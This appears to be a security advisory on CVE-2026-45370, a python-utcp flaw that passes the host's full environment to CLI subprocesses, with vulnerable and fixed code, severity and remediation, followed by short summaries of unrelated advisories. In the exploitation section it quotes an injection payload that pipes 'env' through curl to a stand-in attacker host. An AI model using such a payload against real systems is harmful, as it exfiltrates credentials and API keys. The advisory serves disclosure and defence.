May 14, 2026·6 min read·30 visits
python-utcp prior to version 1.1.3 improperly exposes process-level environment variables to CLI subprocesses, enabling secret exfiltration when chained with command injection vulnerabilities.
The python-utcp library improperly exposes the host application's full environment variables to spawned subprocesses via os.environ.copy(). When combined with an existing command injection flaw, attackers can exfiltrate all host secrets in a single request.
The python-utcp library serves as the Python implementation of the Universal Tool Calling Protocol, facilitating interactions between applications and external CLI tools. Prior to version 1.1.3, the library contains a severe environment variable leakage vulnerability tracked as CVE-2026-45370. The flaw resides in the cli_communication_protocol.py module, specifically within the _prepare_environment() function.
When setting up the execution context for spawned subprocesses, the library automatically exports a complete copy of the parent process environment. This design flaw violates the principle of least privilege by exposing all process-level configuration data to the external tool. The exposed data typically includes highly sensitive materials such as database connection strings, cloud provider credentials, and master API keys.
This exposure represents a critical security risk due to its high synergy with command injection flaws. When an attacker chains this vulnerability with CVE-2026-45369, they can achieve arbitrary command execution and simultaneously exfiltrate all inherited secrets. The combination of these two vulnerabilities transforms a localized injection flaw into a complete compromise of the application environment.
The root cause of CVE-2026-45370 is the unsafe inheritance of environment variables during subprocess creation. When a tool is invoked via the CLI protocol, the library calls the _prepare_environment() method to establish the execution environment for the new child process. The implementation utilizes the os.environ.copy() method without applying any filtering or sanitization to the inherited dataset.
By invoking os.environ.copy(), the library captures every variable present in the host application memory space at the time of execution. LLM agents and orchestration servers frequently load all necessary API keys and access tokens into the main process environment upon startup. Consequently, every CLI tool spawned by the library receives direct access to these secrets, regardless of whether the tool explicitly requires them to function.
These variables are subsequently passed directly to the env argument of the subprocess.run() or subprocess.Popen() functions. The operating system then loads these values into the memory space of the spawned shell. Any process executed within this shell, whether legitimate or malicious, possesses the capability to read and transmit these variables to external destinations.
The vulnerability originates from a common oversight in Python subprocess management. In the vulnerable implementation, the _prepare_environment() method retrieves the full environment dictionary and returns it for use in the subprocess call. The function performs no inspection of the keys being passed, acting as a blind pass-through for sensitive memory.
# Vulnerable Implementation
def _prepare_environment(self) -> dict:
# Inherits the entire parent environment, including all sensitive secrets
return os.environ.copy()The remediation strategy requires modifying the environment preparation logic to enforce an allowlist or return a minimally viable environment. By explicitly defining which variables the child process receives, developers prevent the accidental propagation of host secrets. The patched version 1.1.3 implements a restricted environment model that prevents arbitrary variable inheritance.
# Mitigated Implementation Pattern
def _prepare_environment(self) -> dict:
# Restricts environment to strictly necessary system variables
safe_env = {
"PATH": os.environ.get("PATH", "/usr/bin:/bin"),
"SYSTEMROOT": os.environ.get("SYSTEMROOT", "")
}
return safe_envExploiting CVE-2026-45370 relies on the attacker first securing execution capabilities within the subprocess context. This is typically achieved by exploiting CVE-2026-45369, a command injection vulnerability located within the _substitute_utcp_args method of the same component. The attacker initiates the exploit chain by submitting a crafted payload designed to break out of the intended tool command structure.
The attacker provides a tool call argument containing shell metacharacters and the env command, such as input="; env | curl -X POST -d @- http://attacker.com/log #". The vulnerable substitution logic inserts this payload directly into the shell execution string. When the operating system parses the string, it executes the legitimate command, followed immediately by the injected env sequence.
Because _prepare_environment() populated the shell with the parent process variables, the env command outputs the complete secret configuration. The attacker pipes this output directly into curl, transmitting the entire environment block to an external listening server. This exfiltration occurs synchronously within the single tool call request.
The exploitation of this vulnerability results in a total loss of confidentiality for all process-level secrets. In modern deployment architectures, environment variables serve as the primary mechanism for distributing sensitive configuration data to application containers. An attacker successfully executing this chain gains immediate access to AWS access keys, OpenAI tokens, database URIs, and authentication salts.
The CVSS v3.1 base score of 7.7 reflects the high severity of the exposure despite the lack of direct system integrity impact. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N highlights that the vulnerability is exploitable over the network with low complexity. The changed scope (S:C) indicates that a vulnerability within the tool-calling library compromises the confidentiality of the broader host application environment.
The secondary consequences of this data exposure are severe. Attackers utilizing the stolen credentials can pivot into connected cloud infrastructure, access proprietary database records, or incur substantial financial charges on LLM provider accounts. The immediate exfiltration of all keys eliminates the need for the attacker to maintain persistent access to the compromised server.
The primary remediation for CVE-2026-45370 is an immediate upgrade to python-utcp version 1.1.3 or later. The patched version modifies the environment handling logic to ensure that sensitive parent variables are not automatically propagated to CLI subprocesses. System administrators should verify the deployed library version across all environments utilizing the Universal Tool Calling Protocol.
If applying the patch is not immediately feasible, developers can manually override the _prepare_environment() method within their tool configurations. The overridden method must return a tightly controlled dictionary containing only the standard operating system paths necessary for basic executable discovery. Under no circumstances should os.environ.copy() be utilized in the temporary workaround.
Organizations must also adopt defense-in-depth measures to limit the blast radius of similar vulnerabilities. Applications should run within isolated container environments operating under the principle of least privilege. Sensitive master credentials should be replaced with scoped, short-lived tokens retrieved dynamically via dedicated secret management services.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
python-utcp universal-tool-calling-protocol | < 1.1.3 | 1.1.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-526 |
| CVSS Score | 7.7 (High) |
| Attack Vector | Network |
| Impact | High Confidentiality Loss |
| Affected Component | cli_communication_protocol.py |
| Related CVE | CVE-2026-45369 |
The application exposes sensitive information, such as passwords or API keys, to an unauthorized actor via environmental variables.
containerd is an open-source container runtime. Prior to versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1, a crafted OCI index graph can force very high CPU/memory usage during PullImage (before container start), causing long ContainerCreating stalls and, at larger sizes, node/runtime instability. The vulnerability occurs because containerd's image-pull descriptor graph resolution handlers processed OCI image indices and manifests recursively without enforcing boundaries on traversal depth or breadth, and without maintaining a global visited registry to count duplicate references.
An unauthenticated path traversal vulnerability exists in the Khoj AI assistant platform via the static file serving endpoint `/home/{file_path:path}`. Due to improper path sanitization when handling user input with Python's pathlib module, a remote attacker can read arbitrary files from the server's filesystem.
An argument injection vulnerability (CWE-88) in CliInvoke and AlastairLundy.CliInvoke allows local attackers to execute arbitrary system commands. By injecting double-quote characters into target file paths or arguments, attackers can terminate operating-system-level quoted boundaries and introduce new commands when shell runners are utilized.
An OS command injection vulnerability exists in the PowerShell and Cmd shell wrappers of the CliInvoke .NET library (specifically the CliInvoke.Specializations package). Under vulnerable configurations, arguments and targets are passed as a single flat string to ProcessStartInfo.Arguments, permitting double-quote breakout and execution of arbitrary secondary commands with host process privileges.
A critical-severity input validation vulnerability in the Elixir multi-party payment library `mpp` allows unauthenticated remote attackers to exhaust the transaction fee payer's wallet balance. By submitting a crafted Ethereum transaction envelope with artificially inflated gas parameters, an attacker can force the server to co-sign and commit to pay exorbitant fees, leading to severe financial loss and Denial of Service.
A critical gas draining vulnerability exists in the ZenHive mpp (Multi-Payment Protocol) library prior to version v0.6.0. By omitting validation of EIP-2930 access lists in custom 0x76 transaction envelopes, the library allows malicious clients to pad transaction payloads with dummy addresses, draining the gas sponsor's hot wallet.